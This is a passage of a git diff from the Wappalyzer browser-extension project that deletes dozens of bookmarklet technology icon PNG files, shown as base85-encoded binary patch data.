z$O(k3^a+XZ@FRkX9v^{Vm~)pKX!CSXpE-p4Kl+G?h2sfFG~*kJs^a$ta6~y+^yI=t zcL+d|>PDZe@O9PJAp${k#RRH~P*hM9kQL;_crZN|%6qfw$1DsALnx-4QBnjCFe6yhu35lP~nKcto=|j(j}+}d*sKVX39ZQkx{j`f2!8q{_Q&QDEO>?FuJbuy+8>@Z<%L?JJ zjx5P+soKT9>Qd&V-Oa`8S9q^-7aJQ9-NeP@C^;nBoq$gM*gOX?3_zieFTO0hzVNYM=|U0$RIXla zWaG9q{C)m#e)8c)>hlz&h+yP(C;v5X1;Yz-Y4>ztQp}iDORt%Ys!6?OwOSDfiY7kA zs-rLSAG2NqApo$bHgdAFnKS#|g$E9Pwp6;^gonSV@Amq1$@qsdDQQlg8a#_5r&_r_ zFBRwTG@=G4P&32J^y7<|w`m2ZUDX6SgV?P$kR&4r0)n9s8Za<6oB3mY$*R(q2+Bc3 zL}uBcC3FS6%$@tdygPmY&~ftgS)Z(^AY}Z$028M_#HUR%y1xg2IC~U>W78S=qdd+J zZ{Xq9wTwRgYaajei?n~=fod`#OU5-t*9AH{`DtTWJZUkIj#$*FYv{3Ir&6EE_isU3H#2Tx}^p>PPh$-=nA9Hyq`k~JuWJ(Ip6 z`?J~1*|CTnrF-$W`Y~Cp(68|lz#QO zrs-s7XW{Gd8^`61<-g~B`wASFpv&*W)zZL~wnl8KkcmsQ$>K5BZJIN4DPjUmRHM)9Ei z9+o}0i1M$#X6n=_#-2ct*t%tFrJx@d&YsW)4$KrcZvKPR)MUE6J|rO107stK3Z zO@=j&pC^qq1OUuZvRUu^7Sj|b3yS`|UX$YAnl^Px$-4EgdxF70E1(Pdas1fl2lDgA z%szYW6tOYUbar&p)$QYo>#9)^T?gY-Bd}R*NMXT_#seI%RM3?agos9A>=5os8i6P| zL-pue_$^k%%S|tr9Bugn{ZQyfON-~S#bRaBglPyNj7IG7`>A!+GjrMu=zAuFFm8d> zYGZQG6yDjqHSm1#x^w!1gu;`Oi<7>q6zdWf6@^C{ynLeQZ}Pw4g%wNZepPyC@4h`B zuiN_WrbWw_JUcsMKzbf9==jmYdb_(p|N7Vweb4T{UU_HJTRVytJ^3UsoIZ$E#C<27nIAD%*7HR?XU0yA)OO zw@L2uce&i<+9r!6(k5v&E^RJ7dF=g?Ud71d__({D-}n38@4fdU<#L&H!83=$QAZ#Y z3VAD)$`DZ>p69#a3l*z4ozCj<@$t*10mpIO@Pi6PQTz}H1bF)Ga=D~xwK_-?MQP{$ z#l^*AeCy*ZOWLqeku1yiBuO%%xI+Iivrpvm@{)2pnM{85`Fsk?vVh;p5zl{4nazu3 zt96{!Y8B_w5)^H=aZnUZEEe0M27bRkO&X2H&2TvE`sa+)9R#Ztf;t@p2?184f!_v$ z&^SN8g$BRqKGfw%KA(TB3ghwk&#EL1rYx3^?C2;QCK4cSZbHOpY?>gA=-3$N*x9LL zwooV(7D+G|3{Y_-64|BMoZ0P9IioR31;YG1q*5t3JU9T+W`o4s9K;v~1VI1{yoT?zI65BdQ5)Pnzf7l@=Dvaf5*u*ViGru>rx}-c})d zdLTM5kdaSM_16Zpue6`(bowp!S)UvkAy>He!(m`1CLq?=mkDXLl4oY7=Gfi_uh)B& z%jGOsvm2yVt94=sjTP7OvMh1jLuqgCkz6e5X&`KKjb@A!`ki3ZPMC0me072L@IpPu z(S1-Vm0n=2O6r{;0MH3dHk;j~L)AWHZ77*c<_(?1|DnUPzIVIbo$aFh43%mdT002ovPDHLkV1gKkNfiJ9 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dotclear.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dotclear.png deleted file mode 100644 index af514f6e5f767ffc63621bd33d193975bd675f4b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 247 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!aez;VYh7)5b5qT^Gl$NfJ$(1} zg%{6m@7uHa&8vIYubu`Wj6Iwc~|DC-T&0EE$YfMN%I8_Q4Z&xoBn6s_nBR~@VLripzREvu6{1-oD!M<;ZAW- diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Doxygen.png b/Wappalyzer/drivers/bookmarklet/images/icons/Doxygen.png deleted file mode 100644 index 20de99f2c66146767ddeb42e2b25033ad85dd1c8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 115 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!D3?x-;bCrM;TYyi9>;M1%HB16F-%V2miZGT0 z`2{mLJiCzw$R_~Ej=6ck8kGg?>4H0NY$`c zVF-f*2M>a^J{1mDA+O%wdinNdZ~MsU{<|v1*@91my|Pzfb+(X++C;>1ir{@3cD)a) zmFcNZPrEx#4)@)dxbU1k&J5iiJNu{+`|;5ygNHBHw|8usCF1NgBMkBO5Gi$(y{9wzD;gc%jLECZKySO@iw0M5CJm22h700#3A9EogIG8&Rx~+}!`BrE0 zaa!AptC7vA64baTnP)>AfF^vbZ<-^U|0|!;1hm|EmN5 zWMpK705AaX%^U`0(EZ7)FFbYZqa*v#N+iaoe!=XuTT^A#ItAc50Js1!asHYQAo<6| zg|p{&hrH{{>d@e!{m)bpISkf!aq!t8EH;Z*Zp_`-`H33{*;Dy&|wTZa;)mZIEKA-UrpY?$b60H<95sK;jWL5|nnI$GWP zT%VnM{cGpNbrT?uGTdCaYZ-Tm($;RYbKJbWiMUM=XXYgUr#l%;PfreN$NRh$Cwp$M zw0392t1!<8_dH8ECz&#~73ElIL?n(<>mynL(7!cAOkcY6VVWeLE-wEGODMdOXDfjZ zCQ6{zAeR!>8X^k~DRTvY{~hAQ1OuQvA-)$bT?m35{kK+{u26zxl%Q-KXl)UN1;RK+ zn#Ab!?0V-5^?F?cfRu86-+=>Ddv^7`*ABC&ovU)L3hG${r8NqpL9D?J*S5L?zuh4i z9UV2bTFn6;fnT z1_qw*>Zx2Igq;84%x6adXaK0yYR>HC%U5%y_Jz&nqX3rw0;m#moQty0s{jB107*qo IM6N<$g6rRb^#A|> diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Drupal.png b/Wappalyzer/drivers/bookmarklet/images/icons/Drupal.png deleted file mode 100644 index b9b13f84fbc5ccd52fbef6d3253ef25ff10b42b8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1409 zcmV-{1%CR8P)j9GMpyHM6P-um0q9fo`d@@iB6P;2-rw%N%v}fP<*Xl}3t&HhSZrZe8{&RZHeS9SvXe<;> z9O5*ww>pmpUs0{RSr({ATMLfmc0BBQ0K)v_;^fJ;lD4Zr+1R18wX5ZsebB zg9~f7Vc}H+1J~OTkOx{EZf_oay8jgKeRY49GM@|U6Bg7 zUEyU1`k}X zfKMi9c|2Hao}vX|V~h#7Cr_iGlEDSmCvQjhq{jqyt7vJYoiPE|*fswPIM0B59XL<7 zIFMtcmoWkFj4aa6_Q8}sxa29gkO`bXtT6%qTv^S1jc2ANeCbiZB;h;n5opM4>ixoiYE zMm3U03dlPRQ|9mDFPOo=Qv&%>g;Y2o>*_AxDb*9BjNK!e{)fdx})o z^Gp?|6gliAvTH=Pqb$1;eYyD^a*Am-7@@9l!o!}VbF2W)K}HAYR1g4#dH;Ce@ae~w zkZ%MTEjoyKdv$r#G~=Y7v#xe624WU}whU|bMW zDe!=T-GuB0b}^pgIg;6t%{Ju&Lp8*(WtCoWz6BRs??8I41%)+DEE`dB>MBa=uVbOO zqRZMpcR$%J8T;S=95`(Km~F6l)+I_|oeFZt;}!QrHfnQVx2ZrFvD3o~VH=vKdDSB+ zotEsJNkmpO=&|UVdE^kWn;f@SvaNQRWg}ZI)$F2?OiMN|AX_`@=Xu;e=i)OH;CBHT P00000NkvXXu0mjfbxWc3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dynamicweb.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dynamicweb.png deleted file mode 100644 index e1e4be9acc41ebecea1c23085d4dca1c1afe948f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 507 zcmV1uhpM?S=V}D$_a@C$J11?{^X6G9k^}n>b?kLfke*OB*cI(bv zw?`$Vy#g5!6czvd$aJlwC$e3)g(n zqtP!c`Y*^uM5TqN&z`FUMa6vsX^eDuSd(KIMf@*Szz=moGf@o;2prJ3(($?VYhqj`-Ecd3-_# z06Zi2)VhH`A}(Ye5Whv;CuWJCEyb5qXAl5D_HcV+aQH!#k&G^qbcZe^MlIx07=4?N zP>4k@UL6}=6M#Sh(1@>iARrs@*39!G!|SOhwr=!e+L&;8`cahWf}*YC^Mr&J#tZ%R z?2fBJMMX$es3<5cIS%F~Boykomv7Eo4Yp<9B!(h)W#6K_#~dC#_mOa0)6#VtQ2+n{ M07*qoM6N<$f|#9-%>V!Z diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ELOG HTTP.png b/Wappalyzer/drivers/bookmarklet/images/icons/ELOG HTTP.png deleted file mode 100644 index 8a53cd3dcb449ac20ea739e28aceeefc8510c203..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 203 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!73?$#)eFPFP2=EDU{qyfnu#kpSoc_*jM|;IJ zmn;w9;@?tK8?k2bvFn%jud1qRpEM=Y)}}r@(!}bBPg_g}LuUj~Z)o$?ew|-mx%9J>{LW>(j2yKpPl5UHx3vIVCg!06ln0 Ap8x;= diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ELOG.png b/Wappalyzer/drivers/bookmarklet/images/icons/ELOG.png deleted file mode 100644 index 8a53cd3dcb449ac20ea739e28aceeefc8510c203..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 203 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!73?$#)eFPFP2=EDU{qyfnu#kpSoc_*jM|;IJ zmn;w9;@?tK8?k2bvFn%jud1qRpEM=Y)}}r@(!}bBPg_g}LuUj~Z)o$?ew|-mx%9J>{LW>(j2yKpPl5UHx3vIVCg!06ln0 Ap8x;= diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/EPiServer.png b/Wappalyzer/drivers/bookmarklet/images/icons/EPiServer.png deleted file mode 100644 index c175a4c82c1ea542db3860eee6777f5ef57c8d84..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 246 zcmV-=g_Gwq!+)1uIGuOK2xMo*^j9Lt@Ebc^!5$}6=V3S!qJZrO&nINKBofVv zyooD;ffu4vvXW-|ZFJi0vOV07*qoM6N<$f|T51zyJUM diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/EPrints.png b/Wappalyzer/drivers/bookmarklet/images/icons/EPrints.png deleted file mode 100644 index db4dc9cedd6ec31c921dd42093e8eb801d34ade8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 651 zcmV;60(AX}P)A9WN;!m@xTANxqiM)SWB*>tyGkhUDxoD%#+jaNoO^hko{9U+$tJl$ zN_@cReg}ZaDnvBmL-8?!_Pel_-sliL^9yu78s~?kt_&4HJjh$s+IB6byLB3`ae z_Yru0g}yPz%E01c@{Kl9C_UPN)zMGosb-l*ErRv|4|Hftj;{<%ep`dd^^)S&ang0w z>}rm(y()m+t|Ib!GgjABd?33nDuRNFupWKI7sS8%?Fgx~_ZCrD|Cz_JH2hC8FqS_} z@Pz|2h$yi%bWqUnfugEmc9aINwT)8X`pWRDG%nuTfT?OC0Z>1Kh!#uJX|ijl$ZI@8 zmh&)M>f6zmbiND?AC!X71IS)&JkmDRhUwz^4vtJID+gL*Lv*7>$002ovPDHLkV1k**El&Ud diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ESERV-10.png b/Wappalyzer/drivers/bookmarklet/images/icons/ESERV-10.png deleted file mode 100644 index 3e2c434ef88f50ab48d54835bf3fe0c812e6479e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 262 zcmV+h0r~!kP)f-6}?eX>Z`TF_${Qv*|^C9id0001aNkl@26hqOd(1OSx%>H-Ug}kD? zvz$rbDnGRwRVS{>*}$~| z;5T9K0vS>eFo3@70jT~$fXU-4s?855N8qgcEfMW3TqRv`H-4(_4-F3wCP|a6g#Z8m M07*qoM6N<$g3_CE)Bpeg diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/EWS-NIC4.png b/Wappalyzer/drivers/bookmarklet/images/icons/EWS-NIC4.png deleted file mode 100755 index 5803d63851ea0f6e04db5de39a4ca87852d36696..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 453 zcmV;$0XqJPP)zT&hsH9T(JGnF|NsB$|NqD1@gkPZ42sC!?)UEQ z|EJUHi^t?ns@H0`+}r8+*X#Ioz2U*&@=B=Hd^z=HQ(y!U< zd%xggv)eA4&{eM2k;~`K>GTMR$IRvMIH1y@(&h9j+aR2`s18sQ^A%uI`0?Q_y z78KL8S;8XSbwIaE7i9G&1IT7|X0jgxFy4QPRxsWItH>}!C18eg|O_ zeS|ztjDk=kv$rP9n(!43zehoODdS0Yop0l~jN?n{_yB;%(R=j*;8pe94kv)q;fC(~ v(*ynB+(A39qGz5zqiWs)iff%D^$GkL}j&f?NfVBCzfLQnGq2|K-gc3lvNZED-tz3+Fcf!Ea>friNsiCLjO_hxVLm-T_?vpCD7RP zl!?}!iA)F2m^z@6I-r}va|Y3f;6jkS-Z*Z?rk7h#*>y@b zvdp|?(iwJRd)rPljNfDTZ?W%EgnA!G3l^8YjVMN9Og^4$#vwriji6(xsRbP|h`Hc& zwk(RX2tvO@7>SHx_~!`ve)Qwrd=Cg#O7mp01xi5;8u9s_DxB>;2VTqpr?Tnn)61Wk zQd7{3t*zTw%brd>!^4k{;G6R^tZObHrLY6{gN^LIocKj@oJMfc#Emt7YLP>J^R*p| z@kMr?icaJ5z*QOZ%zCh}ianox0fi;Q#5$2~RbePHl+wloNxR4PQOeifr23PL16GD!#sib_@~su7h04alFWpr{C{ z0D-IomGZvMO%0sp+EoRe+uhsUeX)CYw=rd{xe)|;`NFt&&pDrSpYuH5a{*jm{8t6+ z0RC0LE)dCAVoD9Jg>X=xMuZl^)Zj#Z5w6tYkRbyA1fwdgv;Bf^bevuHuz?^SN+&iL zWNA8JpIqqeAUl)rHO2IKV#8`)f(z*7&cwu&lT2d4lK#by2}hZvL?unmlm z_~n9bimWhW@pQ!jrAB)EYx0o5qT4e%w)*~qC#}}rzFYr1;-8yK9?OQq_L}{2N+bYM zP()cDaj`W>ui)ldh^d*_sq7r3;@@{%dcK?@hrOU-j_-f&Z_Fw zprf%#h;NE-Y8uN^0Oa2Cz|@RH-4M74W2>ynrL9mM0{Dp61y~|{icu@rqSVWsjI7--H;1@gJr@F(Jf@FAVB?e(+N)628kjD z1?PXbZuXF-3RIy+3zX?a6dPyHchDrka%{pXmaJAR;YE_?=nU@Lci0HG#UI5`p5xL; zh{kMkIn6sn6AEakjQO z4jsW%S^|W(`BecIV@ZlR^Cn5;HSt_k_>yjL+|k)Ay9m=bYE?rPuGR-|wy8 z_r2TRz2oP`+up|C-p1qS#^dkC@9)O%_s-wm&g19K2hy~L#ws#2wb?S z;yPCb1qBY=8r@>K8Pdvi89Jx9GW`Fq&T!kLD+|jp<@+4 zgL5{40Bt)F!m#mqC&QeVeGKz}cicO{ryZ%pM*bB5BWb?dxB@D&OG>A(;T3T!j3tx6K-1y(cu<%JML(?{E z(voiP*%*ec@24>IpA2A-k>MmwvwyWLL-X!ThK%Xb#A*Qmmh6OaVTvv%00000NkvXX Hu0mjfbivK4 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ember.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ember.js.png deleted file mode 100644 index 08c21c5a47fe58c7722649b60caaef0e4d98f2ba..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1735 zcmV;&1~~bNP)3YnbFK8L8=k%o+)=~MatZ85o^?@G$KI~imo##M;KbIL&CTO(G zpp{etC~k~|nE)tLqPy3K;s(%68IX~sv6%QjNZ6E=tYxCUc;VUl;UVN^c zI~}!}8ze%USQkqR0C?nU_ZRb!u*yiRsu6CUndW4FqU_i?{m?ghJ8r;-MePp%bN;7~ z=fXmCtx@WY)pKVx8Upa|?!Ez}(ToN`nKabM;+~mqByHX2?w@|};b!Y~xGFQB-eBvd z1_$eTku=ayiiJclBAbmHC+@ztcl|EVux9Y|Z%=*yTW217WVr7cypLSJ zA%Rq8)))@4rU)=&h5!(vlo7_L%R`dmyFcTbwxBe)Bx1P#g{7ySj8n&O=0tb>jlCOh z^NpLZ%H1Q9X2=lUS5Ui*z^Y790SN*kWbEy_%_gU?CNB(@_dQ)t9#eElqZjtZuuAO+ z5+nggVNJ<)q^^RvC?$xX2!OVJs`>bKj`eX#M4Uc8dhKseLb91zo84@aQ&^#lQ^%zW zqyosqno^fX#XuNV5E272SemW-jr;) z7Hy{#6u3+&=2hXuMP@K7R#H*SecN`H25VHiJoI*&m43f}?-$m8=^@{|1uHV+?1>A1 z`b}+H0uU}&YSyvYO#l-b+jVQRdCT(a2kOyxYQ)&}H?e8(0Vzkr@tZz1`Q@+nZ{Cfj zhgG>aKligAX*h5)AY7>wE2&g!`oXV{-}zbJ^s&j&a{K0M8V-6pZa^tmW9z49zWoDE zOt9&}9Dv%k9)A1$ubvqGZpQc1-N~eE;@6ids(|^$iz-dwguyZS0TZ|50t*H(sCn`H$PTUdLsuMs=Dl$z(`f=f)Z# zVE&g+bpLu2U5o!s%B7{@{=amG-@=vr(Op}OAdMs>L4-1*DNRZoEOo~Y)4goj%F^Jf zq?|ju_`6>${_)ppN4Szdvhx~JnOXr}l$k~m5SW=-T&O3Hbw}T&67DuR1whNo_0;k1 zowrA?9T+_O`@vIBE+5>VgC%@OA(;|L03-pB6jCXuqn8{lcgNn%r6tUrvDwX-nl@Ut zBMcT}aUtgC;_S(M?@V?bBz#DrnIz&rNJ45y1wJBs&C4c|L0NSQRtOg9IhOt?XU z5?5mcjFeIkfP@HwB;e*yN&-NzW{{Qu!D3EgMM8*-cBBYgjRB|;q!EzPX#@;bGbCgr zG7%BAEAE7fdngh}r4(+SnZ!pbU9D~eKpLQkYGg`{moCB$h6GHZ$dQ*OAU9VAz!f0f dSgY_6{teNAHGhg_LRJ6(002ovPDHLkV1keFElvOc diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Enyo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Enyo.png deleted file mode 100644 index 40fb00108e92221d3e4164e6e9019dce7745abe5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 197 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!Vt`MGE0C5n3bsp{FVdQ&MBb@06gJI82|tP diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Epom.png b/Wappalyzer/drivers/bookmarklet/images/icons/Epom.png deleted file mode 100644 index 3e7017b2da2bcbef0bf884059c70e477b818b3e5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 728 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabRA=0VB`+)332twECh-G0TUyL{67ao zLI8rz1~Lc81tO`K85(KxB%`LoWt9?VL)2>(ZiH(D$^yk9TIAwp0U1DDa4isJ$fP7c zh^L*g04@m8tClhs!cb40tCBQFJAFQos|6;344K%O7aQO@K+el?VmMn1712yz@P97D z|9K4mcQO250QH(~=7Rt88U8P3m=(vs%*2rG#Ne&R@NN>rwPuEAQ+ynNTK!6b{DK)) zYF~2Uycf?r^S!wMXVn&t&8*Cys}v%?3mKj|!Q&elWpQzjLwlO&f$Q>f|Ea!sw5`DY zi(LM1y$R{Rim&Qg>d(rYzpKyf_oN9+vo?xMY}d+I1PpLJPZ!6Kid$DN9uGU@Akp^F zzIBF^#wEvHmmCk=s}8q&bMOCD54B>o$A{M3`H{2#yH8Qt3wtA92a)8Tz*5A4{M2V=AwPmY}70gP>@2W$Lrtb%$rnC=)-? zvB2zc+`Z4PpSCt^;kdzgX8AKA_5~hywsFkcdS{ZpIn%k0+Z;?Mu61;G|K;8!{V2@! zgW)oHp_^4@Gc{5_J`h!%u5$BP&A$D+H8hTWyKIsZx~FrU`}=3}xOTsO<*4g4_rY-) zhSpLs70(llGbS9@WvrDm(Okgr!e{Z`PTrndohsblJc_ItuFn;kD^nHkG2uvvXhn}$ z^=YTn)p})#FGOOw3jcrjB4M;Sdux#5!KX?YEv&~A)eWw;g)X!I#(Tmxpf01ZBmoqi Mp00i_>zopr0BUg#<^TWy diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Erlang.png b/Wappalyzer/drivers/bookmarklet/images/icons/Erlang.png deleted file mode 100755 index eb08de940895fc4e8e98d6df9a20cda87c0b25a3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 237 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!L4Z$)>+hexK3%wW`SRrl3)eiF zvtss~IoFF@&qrh*G4MH{?66~k~}VZHDz1CilE9r#?Ux31o*ibQ512ovw;P~MFquo zZ|Obs?Zwvr@!?KO!3MCgGGmy^3N#f&Cq_88Z<=5EKO@$CA5|NdT-_l4e4Xl`* z6>KYmfB-KGFAoOnlXVvS6h)~LT7$`NkQV(Rf}8xe|dlK_lxI;e!sl2;(uRj?)QSi^p8M= z|4U2KV^G37D=VR;vnBuk<6CQg|N3_7|MW?ft8#J@u9lZ&G$RycL^D^EXM%$#FE81r zvOM$E;weS{o2!z)78RvmFDp$KLNOJnn6acd4eW`uv}n17Q;Kd*?a29GP>{L`BnET_ x6Gj@bG}mVX(T!E{iL2+=|IW!t?1n041OS118s*KzG8Ykm?RP7UL# z0X#r2-~t?gedy~1dOQZrYfYpIAX{q{IzL!VcJc7LCqs9{q;AjVwAWXYqMdvp);-?(-3!74y*iW$!q76J5T%ULV@?>?5s(&%RoAljZMzo zqYh$0NcBuQXSO~Q5;h;P%jlI0zU8VZb*+AC9ComgiHv5J59ut&8AC6z>we1A0lHy2#E6pzm?C|@|-pF(0Z?O z45ipq8pBec;D1TqTu9w7X0I)@bsq18>l9Pall4~+!sHi$i>!+W5709tz07^RlSBVR zc?JB{z>>sJg&TCnZYqB(^TT>$%N#o7H6YMIZgm3>gkdC5_}j^xlY=B1@r9Q-`gh7` z2v|4srU|;`vte8}6+gfFNZ|b=Y*h7dN$VhGt(6{;?o&qXW!bDSg>tYleaB^lnDp2S zzFW;HzzHa3{Ztp*&aPqAyJohYlx;qp8_`y5BjDsZc1_bMni|;9JmKPuSmD$2{rNrd zn^L&!b;OqR{a7+D5tUR)U}UjDuU~1>QkEt2Nw`rl*81GvnWjr<+HE= z&Y1Odfn>)Rbe%xUDdOfdkX2I1qRLoW?iqZ!_doE09=Sm!Qk?(*002ovPDHLkV1h|s BM?(Mr diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ExpressionEngine.png b/Wappalyzer/drivers/bookmarklet/images/icons/ExpressionEngine.png deleted file mode 100644 index 997b8c1106b28de04ed86090ca55b7d3cee28538..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 314 zcmV-A0mc4_P)pt0GdJaKs*D8{{!(npc-y;n;e1o3{V23Km|=s42f+6 zHRLZ)tvI?NAAndJ$t9D4{HZ`Z1&BW(sq2LrvI|-BQ6S!q#9s`=&!FrqkOm|O`nO5r_}epabPs;D{Lui2TxE zm_R#J!wQ%ppdlZD{B=x@-5ElRyiz2CYgR09% zaTd@UiUk(h1S*KtmK~O5VV7Ol zD+{SjlWL4XQ;CvRmRlQ*e}GBjgT|ybF}}1&P4vMBJu|a6Sb$-zCQfpa*`41x-*@gm z;Q#pu3<_;3=$uCAT|D$%IRKddmV?RXLCM%O%p`p13beLtiP*pXoD*1R?0WElD0u(8 zETJe2jzg%aVILjP&as%WQ|VsmJw4!qb4dauC6UY6<63z({yPI=MZHf$=W;{ucqZ{* zaW@0qz-gERGt0mw3C_ac>VxjBB$(E&CL8Zj#L71V%|LJ813ofEVV;x1YaY7_J{+c; ze*!KTO$U!lU>4@cB%KMsJQ^XL8xk>d_$CoQp`1d=_yjm#YKY}`&OaObO-2K^2xLK) z;6lnbI_q1hCpvNiTJIKR-BL34X+n9q%#k-y^3V;V_ciDTUZghMNAGpyse`^vuc0?j zB%{y@IXHEFBLc5d3fyf{IMWP`dZFv%fhJ~o%YDVbGQmLIQv@#DOJwGk6A@Dx^eBw~ zSr$4+F)7R>jRfXl^mPI!3G_I-ZvBYF^zJ5#Qi?u#uj#FX+M?PRzo45%ai4}jXA)uO zA~v92`H(TTGBA#uCmRciIicy_4IEV|QD>obG?3D)T!?{5l#P?(Uz?wDT<9v8!p|L%QqGvOhWbZT3zPpuL@N>BhrBIiueE>bgHTKCSeZErBpAa zz<=$ZEf@;}Q^1o*gG@pkR#Pwx8j`D(8?KPTo!WAoe+FE@1(an@pp*#k;m(vH6|+rk zX&R}GIoC)mJyoj{2o38B-Xog5*f~S6HoQ#A^$=e$Rz=) zgB>uu(urMbk|?~wf*bibnF3l&{OC2pI=ss17B;qqjkIVMVsn2U#g2W*%320cMc~yf zc>IhTciVh;P}zzdX*<7?+D%;P=Fw;ZTx+j}v7g!aeqi+2r1{PHh;e9iSzTMemNz2r zj0fMhc(FwC&^nBt_cmZVa#9V~iut$8`6pXOe?(c~XayEJVF$HjtaXBOFu3aD;AKtN z`lcJ-iQuin_+1pM7r%)ls;t-si%8-*YVH2Lle z(AYI1_>ng9d`JTSH4dIiqS=dI_MZihmrGd~XxNyBo$_X+U7+jR2~No}s_bE*@2`_@ zK2$IoyA~EOhu=m4dH!vS2a7Ag6wVa$ zWdgSq0${2;k^j0Ax2@}Vo<@R*5{bJ<&%;zv0TzZ4mJ0hK%7?R+UCBx(qybZR3E5=m zYbBnql%^rvZy3N2FSS8!wW?Lv+*2&&idyZqb(MnKOeCmoemryz`Qq$QhAqgwOqD)M z;ENJ55J*Y4prkb z*rK*y!>C(J;(B=q$06{tc|#KGLHs7P6?(doBQX0C|Im)>4^o zvTr1?z%U4jo-DRo?R;cxFuXs5*iT7K@0q}u4Y^+V4(g=?PbqD3C4*BI&^}J1nFagG zdYn^fDr<2J`>6k;+_Hs!u8cGRYq*t#ek*OXx7n_}vz-q*FeO)b>&Fd8nR9cJS;Ydy z@%d*4J2gpR6ubGq$RvL2)4Ut(g;Fk!;D`(&Dp7=89ke@ZF?6zHQ~8`ZXR}@#$$)>*#Bsp7Bi} zdeu6cHVr~7EnQ?BE{ zO_t{9{G$eP5Cg3)W2f1EmcC&YK5_6m@c98dFS6|%%is90000Z=TjQ|jqXq7E^djbFe002ovPDHLkV1j>*fVThu diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fact Finder.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fact Finder.png deleted file mode 100644 index 2ec03c0732fe3fe8ac7812df3c93eb0703c02d85..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 92 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61SBU+%rFB|%APKcAr-fh6AH4`c>`BHv}ao| plWo#mmug<+OP5V9JN&)E#c=nenShW*?`@!R22WQ%mvv4FO#s?%8U+9V diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fat-Free Framework.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fat-Free Framework.png deleted file mode 100644 index 151a48edf499c155c2bfc7263345968bdcb55ca9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1494 zcmV;{1u6Q8P)Iv6cI7)4(hD>xZ1KpD3G8Z}B9u=g7+IvX!L8!|&1I87U??;J2Z95Fu}J5d}x zRUCu29G=}BE<7DFKpj`VAAe`7Bx&I+FLLoLpAwgLoL|-9)t|5lJA+q%%HAEsiP9j5GB1d8( zfU_d9^&?7VBsfPTX_F+F&?LJ5B|cImOlc-LNG3c?CPrQ+PHiSrawcPnCTNN#pV=n5 z|0g_4Cq7LlK~pC}RVPGQCrM)`OJ*lfa3@-SCxWmiyZ?0bquegN|1U#QFGW=^UxF}3RxnOuFk*!zW*{uS29UkGD}@DQ)x0-bTVCiGf7%AP-Zh!Y%{+9G)!GIRcoIctwOkGna$_c~HzI>G-tSZ+I6Z#!UoJBYA5weUN;_&i;7JY#`8bd)@w z(LB8OJi-4xRcAe5c|B%>J!ptMZ;?HFoIY7@K4N`7aFRZ}_&;BEKVo}7Y>Yp`|3Fu1 zKw4}-V}LFAji7pvq@k&>p{lW>s@mjD1jHhv>+ve9qn&pQAB!1&dpyCIzYHPZtCfS|Y;!lOse761SM`kh}x ztcM-|0KiZmgrz#+y9w|u0I2T@JFSSFeINpW+q+pH4M>0i0A9O8sM}=(Hgh&nUPPP( zZr^Lu5ZEn%;Vby#3HbBvD_1{!HXel3oUf2bD|iBI9)Eqm(&f|8UK;m+9!B=k{tMo` zA7hol+^%?f1-MDIKcPUVrtVS&xWuqwLta~Z3|a^ z3`NL`uGvZ{EQ@u61Z)}(zj!Y%ij$|^&~;4=MYU>?NDDsT)6Yhgw0D{}=fl>j3j3*D zBN6Z6t#58Dv_)*zO*7P!rVY)yNk~XXA3d0;Tg5t8&zmmxqat*BLl0~{d{lbS^_|zR?vmYHP*7;=bybFbR-{Q8j&59Wa!rP(v{<$3B6C`!n`yLDLRtEI3DrAkuu{n<1t%k^BG zzg&f){<|`f=uaiZtzvCjDZ8g}5SK%kzsOswOP|<===c4DvMOCHmWg3VVL5AOTn2DZ zmRy)El8voCg_LG_5*ef8e7e)-aoO9zW!a^V|M^!Rut!NR>F5)(!#lr({*{!~Ccso} 